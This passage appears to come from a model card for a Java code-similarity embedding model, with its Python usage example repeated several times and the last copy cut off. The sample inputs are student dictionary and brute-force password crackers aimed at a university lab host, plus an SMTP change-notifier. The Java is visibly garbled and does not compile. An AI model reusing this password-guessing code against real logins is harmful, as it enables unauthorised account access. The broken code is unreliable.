FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the 